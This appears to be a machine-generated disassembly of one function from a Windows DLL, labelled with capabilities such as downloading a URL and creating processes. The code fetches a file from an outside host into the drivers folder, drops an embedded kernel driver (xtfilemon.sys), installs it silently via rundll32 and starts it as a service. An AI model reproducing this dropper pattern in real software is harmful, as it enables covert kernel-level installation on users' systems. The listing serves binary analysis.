Function at 0x180016650
Capabilities:
Create process on windows
Download url
Extract resource via kernel32 functions
Get common file path
Receive data
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r14
sub rsp, 0x160
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [0x180032e98]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
mov rdi, rax
mov dword [rsp + 0x30], r14d
test rax, rax
je 0x1800166ed
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rdi
test eax, eax
jne 0x1800166c0
mov dword [rsp + 0x30], r14d
jmp 0x1800166ed
cmp dword [rsp + 0x30], r14d
je 0x1800166ed
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.Wow64EnableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800166ed
xor ecx, ecx
call rax
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x180016706
mov rsi, r14
jmp 0x18001671e
mov rdx, rax
mov ecx, 0x400
mov dword [rax + 4], r14d
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], r14b
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 0x104
jae 0x18001673c
mov eax, eax
mov byte [rsp + rax + 0x40], r14b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.180001340
lea rdx, str.drivers_
mov r8d, 9
mov rcx, rax
mov r12, rax
call fcn.1800014b0
lea r8, [0x180032a78]
lea rdx, [0x180032a74]
mov rcx, r12
call fcn.180001c50
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbp, rax
test rax, rax
jne 0x1800167a1
mov rbp, r14
jmp 0x1800167b9
mov rdx, rax
mov ecx, 0x1000
mov dword [rax + 4], r14d
call fcn.180001120
mov qword [rbp + 8], rax
mov byte [rax], r14b
mov r8, qword [r12 + 8]
lea rdx, str._sblackList.base
mov rcx, rsi
call fcn.180001b60
mov r8, qword [rsi + 8]
lea rdx, str.http:__cdn.p2ptool.com_p2p_black.txt
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], r14
call sub.urlmon.dll_URLDownloadToFileA
mov edi, eax
test eax, eax
je 0x180016826
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._08X___d
mov edx, edi
mov r8d, eax
call fcn.180003eb0
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, [0x180033be8]
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, qword [rsi + 8]
mov rcx, rbp
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], r13
call fcn.180002190
mov rdx, qword [rbp + 8]
lea rcx, [0x180033ba8]
call fcn.180003eb0
mov r8, qword [r12 + 8]
lea rdx, str._sblackList.base
mov rcx, rsi
call fcn.180001b60
mov rcx, rbp
call fcn.180001e20
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 8]
mov rcx, qword [rsi + 8]
call fcn.180003b80
mov rdx, qword [rsi + 8]
lea rcx, [0x180033bb8]
call fcn.180003eb0
lea rcx, [0x180032e98]
mov edi, 0x68
mov dword [rsp + 0x30], r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1800168ce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rbx
cmp dword [rsp + 0x30], r14d
mov rbx, qword [0x18003dff0]
mov eax, 0x69
cmovne edi, eax
lea r8, [0x180033bc4]
mov rcx, rbx
movzx edx, di
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
jne 0x18001690b
lea rcx, [0x180032a58]
call fcn.180003e10
jmp 0x18001694c
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r13
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8d, edi
mov rcx, rbp
mov rdx, rax
mov dword [rbp + 4], r14d
call fcn.180001a10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r8, qword [r12 + 8]
lea rdx, str._sxtfilemon.sys
mov rcx, rsi
call fcn.180001b60
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 8]
mov rcx, qword [rsi + 8]
call fcn.180003b80
mov rdx, qword [rsi + 8]
lea rcx, [0x180033bb8]
call fcn.180003eb0
mov rbx, qword [0x18003dff0]
lea r8, [0x180033bc4]
mov rcx, rbx
mov edx, 0x6a
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
jne 0x1800169b3
lea rcx, [0x180032a58]
call fcn.180003e10
jmp 0x1800169f4
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r13
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8d, edi
mov rcx, rbp
mov rdx, rax
mov dword [rbp + 4], r14d
call fcn.180001a10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r8, qword [r12 + 8]
lea rdx, str._sxtfilemon.inf
mov rcx, rsi
call fcn.180001b60
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 8]
mov rcx, qword [rsi + 8]
call fcn.180003b80
mov rdx, qword [rsi + 8]
lea rcx, [0x180033bb8]
call fcn.180003eb0
mov rdx, qword [r12 + 8]
lea rcx, str.syssetup_SetupInfObjectInstallAction_DefaultInstall_128__sxtfilemon.inf
call fcn.180001930
lea r8, str.c:windows_system32_rundll32.exe
xor edx, edx
mov r9, qword [rax + 8]
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.net_start_xtfilemon
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r13, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x180]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180018330
lea r11, [rsp + 0x160]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rdi
ret